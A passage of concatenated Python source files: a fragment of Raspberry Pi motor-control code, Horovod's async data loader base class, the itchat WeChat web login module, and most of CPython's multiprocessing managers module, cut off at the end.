GPIO.output(self.motor_1.in1, GPIO.LOW) GPIO.output(self.motor_1.in2, GPIO.LOW) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.HIGH) GPIO.output(self.motor_2.in2, GPIO.LOW) x='z' elif x == 'y': print("axis rotation right") ##LEFT MOTOR GPIO.output(self.motor_1.in1, GPIO.HIGH) GPIO.output(self.motor_1.in2, GPIO.LOW) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.LOW) GPIO.output(self.motor_2.in2, GPIO.HIGH) elif x == 't': print("axis rotation left") ##LEFT MOTOR GPIO.output(self.motor_1.in1, GPIO.LOW) GPIO.output(self.motor_1.in2, GPIO.HIGH) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.HIGH) GPIO.output(self.motor_2.in2, GPIO.LOW) elif x == 'l': print("low") #self.p.ChangeDutyCycle(25) #self.p2.ChangeDutyCycle(25) self.TARGET_1 = 80 self.TARGET_2 = 80 x = 'z' elif x == 'm': print("medium") #self.p.ChangeDutyCycle(50) #self.p2.ChangeDutyCycle(50) self.TARGET_1 = 200 self.TARGET_2 = 200 x = 'z' elif x == 'h': print("high") #self.p.ChangeDutyCycle(100) #self.p2.ChangeDutyCycle(100) self.TARGET_1 = 250 self.TARGET_2 = 250 x = 'z' else: print("<<< wrong data >>>")
data_loader_base.py
# Copyright 2019 Uber Technologies, Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== from queue import Queue, Empty from threading import Thread, Event class BaseDataLoader(object): def __len__(self): """ Length of the batches to be loaded. """ raise NotImplementedError() def _iterate(self): """ Interface for the implimentation of iterate batches """ raise NotImplementedError() def __iter__(self): """ Starting iteration and get batchs """ for batch in self._iterate(): yield self._process_batch(batch) def _process_batch(self, batch): """ Hook to modify batch before output. Will be override by trainer to reshape the data as needed. Please do not override it. """ return batch class AsyncDataLoaderMixin(object): """ Async Mixin on top of implementation of BaseDataLoader. It contains a seperate thread which reads batch from self._iterate() and push them in the queue. The self.__iter__() function will pop the batch from the queue. If async_loader_queue_size is set to 0, the data loader will not work in async mode. For example: class PytorchAsyncDataLoader(AsyncDataLoaderMixin, PytorchDataLoader): """ def __init__(self, async_loader_queue_size=64, *args, **kwargs): """ initialize the async data loader. Need to add this in the __init__() of the implementation """ self.async_loader_queue_size = async_loader_queue_size super().__init__(*args, **kwargs) print(f"Apply the AsyncDataLoaderMixin on top of the data loader, async_loader_queue_size={async_loader_queue_size}. ") if self.async_loader_queue_size > 0: self.finished_event = Event() self.queue = Queue(self.async_loader_queue_size) self.thread = Thread(target=self._async_worker) self.thread.daemon = True self.started = False def __del__(self): self._close_async_loader() s = super() if hasattr(s, "__del__"): s.__del__(self) def _close_async_loader(self): """ Close the async data loader. """ print("Closing the AsyncDataLoaderMixin.") if self.async_loader_queue_size > 0 and self.started: self.finished_event.set() try: # Free buffer to allow worker to retry self.queue.get_nowait() except Empty: pass self.thread.join() def _async_worker(self): """ Start worker thread to load data asynchronously. User need to implement self._iterate() to read the data. """ try: while not self.finished_event.is_set(): for batch in self._iterate(): if self.finished_event.is_set(): break self.queue.put(batch) self.queue.put(None) except Exception as ex: self.queue.put(ex) self.queue.put(None) finally: self.queue.put(None) def __iter__(self): """ Override the __iter__() to iterate data asynchronously to produce batchs. Will procude batchs from the queue which were generated by self._iterate(). """ print("Start generating batches from async data loader.") if self.async_loader_queue_size > 0: if not self.started: self.started = True self.thread.start() while True: batch = self.queue.get() if batch is None: break if isinstance(batch, Exception): raise batch yield self._process_batch(batch) else: for batch in self._iterate(): yield self._process_batch(batch)
login.py
import os, sys, time, re, io import threading import json, xml.dom.minidom import copy, pickle, random import traceback, logging import requests from pyqrcode import QRCode from .. import config, utils from ..returnvalues import ReturnValue from ..storage.templates import wrap_user_dict from .contact import update_local_chatrooms, update_local_friends from .messages import produce_msg logger = logging.getLogger('itchat') def load_login(core): core.login = login core.get_QRuuid = get_QRuuid core.get_QR = get_QR core.check_login = check_login core.web_init = web_init core.show_mobile_login = show_mobile_login core.start_receiving = start_receiving core.get_msg = get_msg core.logout = logout def login(self, enableCmdQR=False, picDir=None, qrCallback=None, loginCallback=None, exitCallback=None): if self.alive or self.isLogging: logger.warning('itchat has already logged in.') return self.isLogging = True while self.isLogging: uuid = push_login(self) if uuid: qrStorage = io.BytesIO() else: logger.info('Getting uuid of QR code.') while not self.get_QRuuid(): time.sleep(1) logger.info('Downloading QR code.') qrStorage = self.get_QR(enableCmdQR=enableCmdQR, picDir=picDir, qrCallback=qrCallback) logger.info('Please scan the QR code to log in.') isLoggedIn = False while not isLoggedIn: status = self.check_login() if hasattr(qrCallback, '__call__'): qrCallback(uuid=self.uuid, status=status, qrcode=qrStorage.getvalue()) if status == '200': isLoggedIn = True elif status == '201': if isLoggedIn is not None: logger.info('Please press confirm on your phone.') isLoggedIn = None elif status != '408': break if isLoggedIn: break logger.info('Log in time out, reloading QR code.') else: return # log in process is stopped by user logger.info('Loading the contact, this may take a little while.') self.web_init() self.show_mobile_login() self.get_contact(True) if hasattr(loginCallback, '__call__'): r = loginCallback() else: utils.clear_screen() if os.path.exists(picDir or config.DEFAULT_QR): os.remove(picDir or config.DEFAULT_QR) logger.info('Login successfully as %s' % self.storageClass.nickName) self.start_receiving(exitCallback) self.isLogging = False def push_login(core): cookiesDict = core.s.cookies.get_dict() if 'wxuin' in cookiesDict: url = '%s/cgi-bin/mmwebwx-bin/webwxpushloginurl?uin=%s' % ( config.BASE_URL, cookiesDict['wxuin']) headers = { 'User-Agent' : config.USER_AGENT } r = core.s.get(url, headers=headers).json() if 'uuid' in r and r.get('ret') in (0, '0'): core.uuid = r['uuid'] return r['uuid'] return False def get_QRuuid(self): url = '%s/jslogin' % config.BASE_URL params = { 'appid' : 'wx782c26e4c19acffb', 'fun' : 'new', } headers = { 'User-Agent' : config.USER_AGENT } r = self.s.get(url, params=params, headers=headers) regx = r'window.QRLogin.code = (\d+); window.QRLogin.uuid = "(\S+?)";' data = re.search(regx, r.text) if data and data.group(1) == '200': self.uuid = data.group(2) return self.uuid def get_QR(self, uuid=None, enableCmdQR=False, picDir=None, qrCallback=None): uuid = uuid or self.uuid picDir = picDir or config.DEFAULT_QR qrStorage = io.BytesIO() qrCode = QRCode('https://login.weixin.qq.com/l/' + uuid) qrCode.png(qrStorage, scale=10) if hasattr(qrCallback, '__call__'): qrCallback(uuid=uuid, status='0', qrcode=qrStorage.getvalue()) else: if enableCmdQR: utils.print_cmd_qr(qrCode.text(1), enableCmdQR=enableCmdQR) else: with open(picDir, 'wb') as f: f.write(qrStorage.getvalue()) utils.print_qr(picDir) return qrStorage def check_login(self, uuid=None): uuid = uuid or self.uuid url = '%s/cgi-bin/mmwebwx-bin/login' % config.BASE_URL localTime = int(time.time()) params = 'loginicon=true&uuid=%s&tip=0&r=%s&_=%s' % ( uuid, localTime / 1579, localTime) headers = { 'User-Agent' : config.USER_AGENT } r = self.s.get(url, params=params, headers=headers) regx = r'window.code=(\d+)' data = re.search(regx, r.text) if data and data.group(1) == '200': process_login_info(self, r.text) return '200' elif data: return data.group(1) else: return '400' def process_login_info(core, loginContent): ''' when finish login (scanning qrcode) * syncUrl and fileUploadingUrl will be fetched * deviceid and msgid will be generated * skey, wxsid, wxuin, pass_ticket will be fetched ''' regx = r'window.redirect_uri="(\S+)";' core.loginInfo['url'] = re.search(regx, loginContent).group(1) headers = { 'User-Agent' : config.USER_AGENT } r = core.s.get(core.loginInfo['url'], headers=headers, allow_redirects=False) core.loginInfo['url'] = core.loginInfo['url'][:core.loginInfo['url'].rfind('/')] for indexUrl, detailedUrl in ( ("wx2.qq.com" , ("file.wx2.qq.com", "webpush.wx2.qq.com")), ("wx8.qq.com" , ("file.wx8.qq.com", "webpush.wx8.qq.com")), ("qq.com" , ("file.wx.qq.com", "webpush.wx.qq.com")), ("web2.wechat.com" , ("file.web2.wechat.com", "webpush.web2.wechat.com")), ("wechat.com" , ("file.web.wechat.com", "webpush.web.wechat.com"))): fileUrl, syncUrl = ['https://%s/cgi-bin/mmwebwx-bin' % url for url in detailedUrl] if indexUrl in core.loginInfo['url']: core.loginInfo['fileUrl'], core.loginInfo['syncUrl'] = \ fileUrl, syncUrl break else: core.loginInfo['fileUrl'] = core.loginInfo['syncUrl'] = core.loginInfo['url'] core.loginInfo['deviceid'] = 'e' + repr(random.random())[2:17] core.loginInfo['BaseRequest'] = {} for node in xml.dom.minidom.parseString(r.text).documentElement.childNodes: if node.nodeName == 'skey': core.loginInfo['skey'] = core.loginInfo['BaseRequest']['Skey'] = node.childNodes[0].data elif node.nodeName == 'wxsid': core.loginInfo['wxsid'] = core.loginInfo['BaseRequest']['Sid'] = node.childNodes[0].data elif node.nodeName == 'wxuin': core.loginInfo['wxuin'] = core.loginInfo['BaseRequest']['Uin'] = node.childNodes[0].data elif node.nodeName == 'pass_ticket': core.loginInfo['pass_ticket'] = core.loginInfo['BaseRequest']['DeviceID'] = node.childNodes[0].data def web_init(self): url = '%s/webwxinit?r=%s' % (self.loginInfo['url'], int(time.time())) data = { 'BaseRequest': self.loginInfo['BaseRequest'], } headers = { 'ContentType': 'application/json; charset=UTF-8', 'User-Agent' : config.USER_AGENT, } r = self.s.post(url, data=json.dumps(data), headers=headers) dic = json.loads(r.content.decode('utf-8', 'replace')) # deal with login info utils.emoji_formatter(dic['User'], 'NickName') self.loginInfo['InviteStartCount'] = int(dic['InviteStartCount']) self.loginInfo['User'] = wrap_user_dict(utils.struct_friend_info(dic['User'])) self.memberList.append(self.loginInfo['User']) self.loginInfo['SyncKey'] = dic['SyncKey'] self.loginInfo['synckey'] = '|'.join(['%s_%s' % (item['Key'], item['Val']) for item in dic['SyncKey']['List']]) self.storageClass.userName = dic['User']['UserName'] self.storageClass.nickName = dic['User']['NickName'] # deal with contact list returned when init contactList = dic.get('ContactList', []) chatroomList, otherList = [], [] for m in contactList: if m['Sex'] != 0: otherList.append(m) elif '@@' in m['UserName']: m['MemberList'] = [] # don't let dirty info pollute the list chatroomList.append(m) elif '@' in m['UserName']: # mp will be dealt in update_local_friends as well otherList.append(m) if chatroomList: update_local_chatrooms(self, chatroomList) if otherList: update_local_friends(self, otherList) return dic def show_mobile_login(self): url = '%s/webwxstatusnotify?lang=zh_CN&pass_ticket=%s' % ( self.loginInfo['url'], self.loginInfo['pass_ticket']) data = { 'BaseRequest' : self.loginInfo['BaseRequest'], 'Code' : 3, 'FromUserName' : self.storageClass.userName, 'ToUserName' : self.storageClass.userName, 'ClientMsgId' : int(time.time()), } headers = { 'ContentType': 'application/json; charset=UTF-8', 'User-Agent' : config.USER_AGENT, } r = self.s.post(url, data=json.dumps(data), headers=headers) return ReturnValue(rawResponse=r) def start_receiving(self, exitCallback=None, getReceivingFnOnly=False): self.alive = True def maintain_loop(): retryCount = 0 while self.alive: try: i = sync_check(self) if i is None: self.alive = False elif i == '0': pass else: msgList, contactList = self.get_msg() if msgList: msgList = produce_msg(self, msgList) for msg in msgList: self.msgList.put(msg) if contactList: chatroomList, otherList = [], [] for contact in contactList: if '@@' in contact['UserName']: chatroomList.append(contact) else: otherList.append(contact) chatroomMsg = update_local_chatrooms(self, chatroomList) chatroomMsg['User'] = self.loginInfo['User'] self.msgList.put(chatroomMsg) update_local_friends(self, otherList) retryCount = 0 except: retryCount += 1 logger.error(traceback.format_exc()) if self.receivingRetryCount < retryCount: self.alive = False else: time.sleep(1) self.logout() if hasattr(exitCallback, '__call__'): exitCallback() else: logger.info('LOG OUT!') if getReceivingFnOnly: return maintain_loop else: maintainThread = threading.Thread(target=maintain_loop) maintainThread.setDaemon(True) maintainThread.start() def sync_check(self): url = '%s/synccheck' % self.loginInfo.get('syncUrl', self.loginInfo['url']) params = { 'r' : int(time.time() * 1000), 'skey' : self.loginInfo['skey'], 'sid' : self.loginInfo['wxsid'], 'uin' : self.loginInfo['wxuin'], 'deviceid' : self.loginInfo['deviceid'], 'synckey' : self.loginInfo['synckey'], '_' : int(time.time() * 1000),} headers = { 'User-Agent' : config.USER_AGENT } r = self.s.get(url, params=params, headers=headers, timeout=config.TIMEOUT) regx = r'window.synccheck={retcode:"(\d+)",selector:"(\d+)"}' pm = re.search(regx, r.text) if pm is None or pm.group(1) != '0': logger.debug('Unexpected sync check result: %s' % r.text) return None return pm.group(2) def get_msg(self): url = '%s/webwxsync?sid=%s&skey=%s&pass_ticket=%s' % ( self.loginInfo['url'], self.loginInfo['wxsid'], self.loginInfo['skey'],self.loginInfo['pass_ticket']) data = { 'BaseRequest' : self.loginInfo['BaseRequest'], 'SyncKey' : self.loginInfo['SyncKey'], 'rr' : ~int(time.time()), } headers = { 'ContentType': 'application/json; charset=UTF-8', 'User-Agent' : config.USER_AGENT } r = self.s.post(url, data=json.dumps(data), headers=headers, timeout=config.TIMEOUT) dic = json.loads(r.content.decode('utf-8', 'replace')) if dic['BaseResponse']['Ret'] != 0: return None, None self.loginInfo['SyncKey'] = dic['SyncCheckKey'] self.loginInfo['synckey'] = '|'.join(['%s_%s' % (item['Key'], item['Val']) for item in dic['SyncCheckKey']['List']]) return dic['AddMsgList'], dic['ModContactList'] def logout(self): if self.alive: url = '%s/webwxlogout' % self.loginInfo['url'] params = { 'redirect' : 1, 'type' : 1, 'skey' : self.loginInfo['skey'], } headers = { 'User-Agent' : config.USER_AGENT } self.s.get(url, params=params, headers=headers) self.alive = False self.isLogging = False self.s.cookies.clear() del self.chatroomList[:] del self.memberList[:] del self.mpList[:] return ReturnValue({'BaseResponse': { 'ErrMsg': 'logout successfully.', 'Ret': 0, }})
managers.py
# # Module providing manager classes for dealing # with shared objects # # multiprocessing/managers.py # # Copyright (c) 2006-2008, R Oudkerk # Licensed to PSF under a Contributor Agreement. # __all__ = [ 'BaseManager', 'SyncManager', 'BaseProxy', 'Token' ] # # Imports # import sys import threading import signal import array import queue import time import types import os from os import getpid from traceback import format_exc from . import connection from .context import reduction, get_spawning_popen, ProcessError from . import pool from . import process from . import util from . import get_context try: from . import shared_memory except ImportError: HAS_SHMEM = False else: HAS_SHMEM = True __all__.append('SharedMemoryManager') # # Register some things for pickling # def reduce_array(a): return array.array, (a.typecode, a.tobytes()) reduction.register(array.array, reduce_array) view_types = [type(getattr({}, name)()) for name in ('items','keys','values')] if view_types[0] is not list: # only needed in Py3.0 def rebuild_as_list(obj): return list, (list(obj),) for view_type in view_types: reduction.register(view_type, rebuild_as_list) # # Type for identifying shared objects # class Token(object): ''' Type to uniquely identify a shared object ''' __slots__ = ('typeid', 'address', 'id') def __init__(self, typeid, address, id): (self.typeid, self.address, self.id) = (typeid, address, id) def __getstate__(self): return (self.typeid, self.address, self.id) def __setstate__(self, state): (self.typeid, self.address, self.id) = state def __repr__(self): return '%s(typeid=%r, address=%r, id=%r)' % \ (self.__class__.__name__, self.typeid, self.address, self.id) # # Function for communication with a manager's server process # def dispatch(c, id, methodname, args=(), kwds={}): ''' Send a message to manager using connection `c` and return response ''' c.send((id, methodname, args, kwds)) kind, result = c.recv() if kind == '#RETURN': return result raise convert_to_error(kind, result) def convert_to_error(kind, result): if kind == '#ERROR': return result elif kind in ('#TRACEBACK', '#UNSERIALIZABLE'): if not isinstance(result, str): raise TypeError( "Result {0!r} (kind '{1}') type is {2}, not str".format( result, kind, type(result))) if kind == '#UNSERIALIZABLE': return RemoteError('Unserializable message: %s\n' % result) else: return RemoteError(result) else: return ValueError('Unrecognized message type {!r}'.format(kind)) class RemoteError(Exception): def __str__(self): return ('\n' + '-'*75 + '\n' + str(self.args[0]) + '-'*75) # # Functions for finding the method names of an object # def all_methods(obj): ''' Return a list of names of methods of `obj` ''' temp = [] for name in dir(obj): func = getattr(obj, name) if callable(func): temp.append(name) return temp def public_methods(obj): ''' Return a list of names of methods of `obj` which do not start with '_' ''' return [name for name in all_methods(obj) if name[0] != '_'] # # Server which is run in a process controlled by a manager # class Server(object): ''' Server class which runs in a process controlled by a manager object ''' public = ['shutdown', 'create', 'accept_connection', 'get_methods', 'debug_info', 'number_of_objects', 'dummy', 'incref', 'decref'] def __init__(self, registry, address, authkey, serializer): if not isinstance(authkey, bytes): raise TypeError( "Authkey {0!r} is type {1!s}, not bytes".format( authkey, type(authkey))) self.registry = registry self.authkey = process.AuthenticationString(authkey) Listener, Client = listener_client[serializer] # do authentication later self.listener = Listener(address=address, backlog=16) self.address = self.listener.address self.id_to_obj = {'0': (None, ())} self.id_to_refcount = {} self.id_to_local_proxy_obj = {} self.mutex = threading.Lock() def serve_forever(self): ''' Run the server forever ''' self.stop_event = threading.Event() process.current_process()._manager_server = self try: accepter = threading.Thread(target=self.accepter) accepter.daemon = True accepter.start() try: while not self.stop_event.is_set(): self.stop_event.wait(1) except (KeyboardInterrupt, SystemExit): pass finally: if sys.stdout != sys.__stdout__: # what about stderr? util.debug('resetting stdout, stderr') sys.stdout = sys.__stdout__ sys.stderr = sys.__stderr__ sys.exit(0) def accepter(self): while True: try: c = self.listener.accept() except OSError: continue t = threading.Thread(target=self.handle_request, args=(c,)) t.daemon = True t.start() def handle_request(self, c): ''' Handle a new connection ''' funcname = result = request = None try: connection.deliver_challenge(c, self.authkey) connection.answer_challenge(c, self.authkey) request = c.recv() ignore, funcname, args, kwds = request assert funcname in self.public, '%r unrecognized' % funcname func = getattr(self, funcname) except Exception: msg = ('#TRACEBACK', format_exc()) else: try: result = func(c, *args, **kwds) except Exception: msg = ('#TRACEBACK', format_exc()) else: msg = ('#RETURN', result) try: c.send(msg) except Exception as e: try: c.send(('#TRACEBACK', format_exc())) except Exception: pass util.info('Failure to send message: %r', msg) util.info(' ... request was %r', request) util.info(' ... exception was %r', e) c.close() def serve_client(self, conn): ''' Handle requests from the proxies in a particular process/thread ''' util.debug('starting server thread to service %r', threading.current_thread().name) recv = conn.recv send = conn.send id_to_obj = self.id_to_obj while not self.stop_event.is_set(): try: methodname = obj = None request = recv() ident, methodname, args, kwds = request try: obj, exposed, gettypeid = id_to_obj[ident] except KeyError as ke: try: obj, exposed, gettypeid = \ self.id_to_local_proxy_obj[ident] except KeyError: raise ke if methodname not in exposed: raise AttributeError( 'method %r of %r object is not in exposed=%r' % (methodname, type(obj), exposed) ) function = getattr(obj, methodname) try: res = function(*args, **kwds) except Exception as e: msg = ('#ERROR', e) else: typeid = gettypeid and gettypeid.get(methodname, None) if typeid: rident, rexposed = self.create(conn, typeid, res) token = Token(typeid, self.address, rident) msg = ('#PROXY', (rexposed, token)) else: msg = ('#RETURN', res) except AttributeError: if methodname is None: msg = ('#TRACEBACK', format_exc()) else: try: fallback_func = self.fallback_mapping[methodname] result = fallback_func( self, conn, ident, obj, *args, **kwds ) msg = ('#RETURN', result) except Exception: msg = ('#TRACEBACK', format_exc()) except EOFError: util.debug('got EOF -- exiting thread serving %r', threading.current_thread().name) sys.exit(0) except Exception: msg = ('#TRACEBACK', format_exc()) try: try: send(msg) except Exception: send(('#UNSERIALIZABLE', format_exc())) except Exception as e: util.info('exception in thread serving %r', threading.current_thread().name) util.info(' ... message was %r', msg) util.info(' ... exception was %r', e) conn.close() sys.exit(1) def fallback_getvalue(self, conn, ident, obj): return obj def fallback_str(self, conn, ident, obj): return str(obj) def fallback_repr(self, conn, ident, obj): return repr(obj) fallback_mapping = { '__str__':fallback_str, '__repr__':fallback_repr, '#GETVALUE':fallback_getvalue } def dummy(self, c): pass def debug_info(self, c): ''' Return some info --- useful to spot problems with refcounting ''' # Perhaps include debug info about 'c'? with self.mutex: result = [] keys = list(self.id_to_refcount.keys()) keys.sort() for ident in keys: if ident != '0': result.append(' %s: refcount=%s\n %s' % (ident, self.id_to_refcount[ident], str(self.id_to_obj[ident][0])[:75])) return '\n'.join(result) def number_of_objects(self, c): ''' Number of shared objects ''' # Doesn't use (len(self.id_to_obj) - 1) as we shouldn't count ident='0' return len(self.id_to_refcount) def shutdown(self, c): ''' Shutdown this process ''' try: util.debug('manager received shutdown message') c.send(('#RETURN', None)) except: import traceback traceback.print_exc() finally: self.stop_event.set() def create(self, c, typeid, /, *args, **kwds): ''' Create a new shared object and return its id ''' with self.mutex: callable, exposed, method_to_typeid, proxytype = \ self.registry[typeid] if callable is None: if kwds or (len(args) != 1): raise ValueError( "Without callable, must have one non-keyword argument") obj = args[0] else: obj = callable(*args, **kwds) if exposed is None: exposed = public_methods(obj) if method_to_typeid is not None: if not isinstance(method_to_typeid, dict): raise TypeError( "Method_to_typeid {0!r}: type {1!s}, not dict".format( method_to_typeid, type(method_to_typeid))) exposed = list(exposed) + list(method_to_typeid) ident = '%x' % id(obj) # convert to string because xmlrpclib # only has 32 bit signed integers util.debug('%r callable returned object with id %r', typeid, ident) self.id_to_obj[ident] = (obj, set(exposed), method_to_typeid) if ident not in self.id_to_refcount: self.id_to_refcount[ident] = 0 self.incref(c, ident) return ident, tuple(exposed) def get_methods(self, c, token): ''' Return the methods of the shared object indicated by token ''' return tuple(self.id_to_obj[token.id][1]) def accept_connection(self, c, name): ''' Spawn a new thread to serve this connection ''' threading.current_thread().name = name c.send(('#RETURN', None)) self.serve_client(c) def incref(self, c, ident): with self.mutex: try: self.id_to_refcount[ident] += 1 except KeyError as ke: # If no external references exist but an internal (to the # manager) still does and a new external reference is created # from it, restore the manager's tracking of it from the # previously stashed internal ref. if ident in self.id_to_local_proxy_obj: self.id_to_refcount[ident] = 1 self.id_to_obj[ident] = \ self.id_to_local_proxy_obj[ident] obj, exposed, gettypeid = self.id_to_obj[ident] util.debug('Server re-enabled tracking & INCREF %r', ident) else: raise ke def decref(self, c, ident): if ident not in self.id_to_refcount and \ ident in self.id_to_local_proxy_obj: util.debug('Server DECREF skipping %r', ident) return with self.mutex: if self.id_to_refcount[ident] <= 0: raise AssertionError( "Id {0!s} ({1!r}) has refcount {2:n}, not 1+".format( ident, self.id_to_obj[ident], self.id_to_refcount[ident])) self.id_to_refcount[ident] -= 1 if self.id_to_refcount[ident] == 0: del self.id_to_refcount[ident] if ident not in self.id_to_refcount: # Two-step process in case the object turns out to contain other # proxy objects (e.g. a managed list of managed lists). # Otherwise, deleting self.id_to_obj[ident] would trigger the # deleting of the stored value (another managed object) which would # in turn attempt to acquire the mutex that is already held here. self.id_to_obj[ident] = (None, (), None) # thread-safe util.debug('disposing of obj with id %r', ident) with self.mutex: del self.id_to_obj[ident] # # Class to represent state of a manager # class State(object): __slots__ = ['value'] INITIAL = 0 STARTED = 1 SHUTDOWN = 2 # # Mapping from serializer name to Listener and Client types # listener_client = { #XXX: register dill? 'pickle' : (connection.Listener, connection.Client), 'xmlrpclib' : (connection.XmlListener, connection.XmlClient) } # # Definition of BaseManager # class BaseManager(object): ''' Base class for managers ''' _registry = {} _Server = Server def __init__(self, address=None, authkey=None, serializer='pickle', ctx=None): if authkey is None: authkey = process.current_process().authkey self._address = address # XXX not final address if eg ('', 0) self._authkey = process.AuthenticationString(authkey) self._state = State() self._state.value = State.INITIAL self._serializer = serializer self._Listener, self._Client = listener_client[serializer] self._ctx = ctx or get_context() def get_server(self): ''' Return server object with serve_forever() method and address attribute ''' if self._state.value != State.INITIAL: if self._state.value == State.STARTED: raise ProcessError("Already started server") elif self._state.value == State.SHUTDOWN: raise ProcessError("Manager has shut down") else: raise ProcessError( "Unknown state {!r}".format(self._state.value)) return Server(self._registry, self._address, self._authkey, self._serializer) def connect(self): ''' Connect manager object to the server process ''' Listener, Client = listener_client[self._serializer] conn = Client(self._address, authkey=self._authkey) dispatch(conn, None, 'dummy') self._state.value = State.STARTED def start(self, initializer=None, initargs=()): ''' Spawn a server process for this manager object ''' if self._state.value != State.INITIAL: if self._state.value == State.STARTED: raise ProcessError("Already started server") elif self._state.value == State.SHUTDOWN: raise ProcessError("Manager has shut down") else: raise ProcessError( "Unknown state {!r}".format(self._state.value)) if initializer is not None and not callable(initializer): raise TypeError('initializer must be a callable') # pipe over which we will retrieve address of server reader, writer = connection.Pipe(duplex=False) # spawn process which runs a server self._process = self._ctx.Process( target=type(self)._run_server, args=(self._registry, self._address, self._authkey, self._serializer, writer, initializer, initargs), ) ident = ':'.join(str(i) for i in self._process._identity) self._process.name = type(self).__name__ + '-' + ident self._process.start() # get address of server writer.close() self._address = reader.recv() reader.close() # register a finalizer self._state.value = State.STARTED self.shutdown = util.Finalize( self, type(self)._finalize_manager, args=(self._process, self._address, self._authkey, self._state, self._Client), exitpriority=0 ) @classmethod def _run_server(cls, registry, address, authkey, serializer, writer, initializer=None, initargs=()): ''' Create a server, report its address and run it ''' # bpo-36368: protect server process from KeyboardInterrupt signals signal.signal(signal.SIGINT, signal.SIG_IGN) if initializer is not None: initializer(*initargs) # create server server = cls._Server(registry, address, authkey, serializer) # inform parent process of the server's address writer.send(server.address) writer.close() # run the manager util.info('manager serving at %r', server.address) server.serve_forever() def _create(self, typeid, /, *args, **kwds): ''' Create a new shared object; return the token and exposed tuple ''' assert self._state.value == State.STARTED, 'server not yet started' conn = self._Client(self._address, authkey=self._authkey) try: id, exposed = dispatch(conn, None, 'create', (typeid,)+args, kwds) finally: conn.close() return Token(typeid, self._address, id), exposed def join(self, timeout=None): ''' Join the manager process (if it has been spawned) ''' if self._process is not None: self._process.join(timeout) if not self._process.is_alive(): self._process = None def _debug_info(self): ''' Return some info about the servers shared objects and connections ''' conn = self._Client(self._address, authkey=self._authkey) try: return dispatch(conn, None, 'debug_info') finally: conn.close() def _number_of_objects(self): ''' Return the number of shared objects ''' conn = self._Client(self._address, authkey=self._authkey) try: return dispatch(conn, None, 'number_of_objects') finally: conn.close() def __enter__(self): if self._state.value == State.INITIAL: self.start() if self._state.value != State.STARTED: if self._state.value == State.INITIAL: raise ProcessError("Unable to start server") elif self._state.value == State.SHUTDOWN: raise ProcessError("Manager has shut down") else: raise ProcessError( "Unknown state {!r}".format(self._state.value)) return self def __exit__(self, exc_type, exc_val, exc_tb): self.shutdown() @staticmethod def _finalize_manager(process, address, authkey, state, _Client): ''' Shutdown the manager process; will be registered as a finalizer ''' if process.is_alive(): util.info('sending shutdown message to manager') try: conn = _Client(address, authkey=authkey) try: dispatch(conn, None, 'shutdown') finally: conn.close() except Exception: pass process.join(timeout=1.0) if process.is_alive(): util.info('manager still alive') if hasattr(process, 'terminate'): util.info('trying to `terminate()` manager process') process.terminate() process.join(timeout=0.1) if process.is_alive(): util.info('manager still alive after terminate') state.value = State.SHUTDOWN try: del BaseProxy._address_to_local[address] except KeyError: pass @property def address(self): return self._address @classmethod def register(cls, typeid, callable=None, proxytype=None, exposed=None, method_to_typeid=None, create_method=True): ''' Register a typeid with the manager type ''' if '_registry' not in cls.__dict__: cls._registry = cls._registry.copy() if proxytype is None: proxytype = AutoProxy exposed = exposed or getattr(proxytype, '_exposed_', None) method_to_typeid = method_to_typeid or \ getattr(proxytype, '_method_to_typeid_', None) if method_to_typeid: for key, value in list(method_to_typeid.items()): # isinstance? assert type(key) is str, '%r is not a string' % key assert type(value) is str, '%r is not a string' % value cls._registry[typeid] = ( callable, exposed, method_to_typeid, proxytype ) if create_method: def temp(self, /, *args, **kwds): util.debug('requesting creation of a shared %r object', typeid) token, exp = self._create(typeid, *args, **kwds) proxy = proxytype( token, self._serializer, manager=self, authkey=self._authkey, exposed=exp ) conn = self._Client(token.address, authkey=self._authkey) dispatch(conn, None, 'decref', (token.id,)) return proxy temp.__name__ = typeid setattr(cls, typeid, temp) # # Subclass of set which get cleared after a fork # class ProcessLocalSet(set): def __init__(self): util.register_after_fork(self, lambda obj: obj.clear()) def __reduce__(self): return type(self), () # # Definition of BaseProxy # class BaseProxy(object): ''' A base for proxies of shared objects ''' _address_to_local = {} _mutex = util.ForkAwareThreadLock() def __init__(self, token, serializer, manager=None, authkey=None, exposed=None, incref=True, manager_owned=False): with BaseProxy._mutex: tls_idset = BaseProxy._address_to_local.get(token.address, None) if tls_idset is None: tls_idset = util.ForkAwareLocal(), ProcessLocalSet() BaseProxy._address_to_local[token.address] = tls_idset # self._tls is used to record the connection used by this # thread to communicate with the manager at token.address self._tls = tls_idset[0] # self._idset is used to record the identities of all shared # objects for which the current process owns references and # which are in the manager at token.address self._idset = tls_idset[1] self._token = token self._id = self._token.id self._manager = manager self._serializer = serializer self._Client = listener_client[serializer][1] # Should be set to True only when a proxy object is being created # on the manager server; primary use case: nested proxy objects. # RebuildProxy detects when a proxy is being created on the manager # and sets this value appropriately. self._owned_by_manager = manager_owned if authkey is not None: self._authkey = process.AuthenticationString(authkey) elif self._manager is not None: self._authkey = self._manager._authkey else: self._authkey = process.current_process().authkey if incref: self._incref() util.register_after_fork(self, BaseProxy._after_fork) def _connect(self): util.debug('making connection to manager') name = process.current_process().name if threading.current_thread().name != 'MainThread': name += '|' + threading.current_thread().name conn = self._Client(self._token.address, authkey=self._authkey) dispatch(conn, None, 'accept_connection', (name,)) self._tls.connection = conn def _callmethod(self, methodname, args=(), kwds={}): ''' Try to call a method of the referent and return a copy of the result ''' try: conn = self._tls.connection except AttributeError: util.debug('thread %r does not own a connection', threading.current_thread().name) self._connect() conn = self._tls.connection conn.send((self._id, methodname, args, kwds)) kind, result = conn.recv() if kind == '#RETURN': return result elif kind == '#PROXY': exposed, token = result proxytype = self._manager._registry[token.typeid][-1] token.address = self._token.address proxy = proxytype( token, self._serializer, manager=self._manager, authkey=self._authkey, exposed=exposed ) conn = self._Client(token.address, authkey=self._authkey) dispatch(conn, None, 'decref', (token.id,)) return proxy raise convert_to_error(kind, result) def _getvalue(self): ''' Get a copy of the value of the referent ''' return 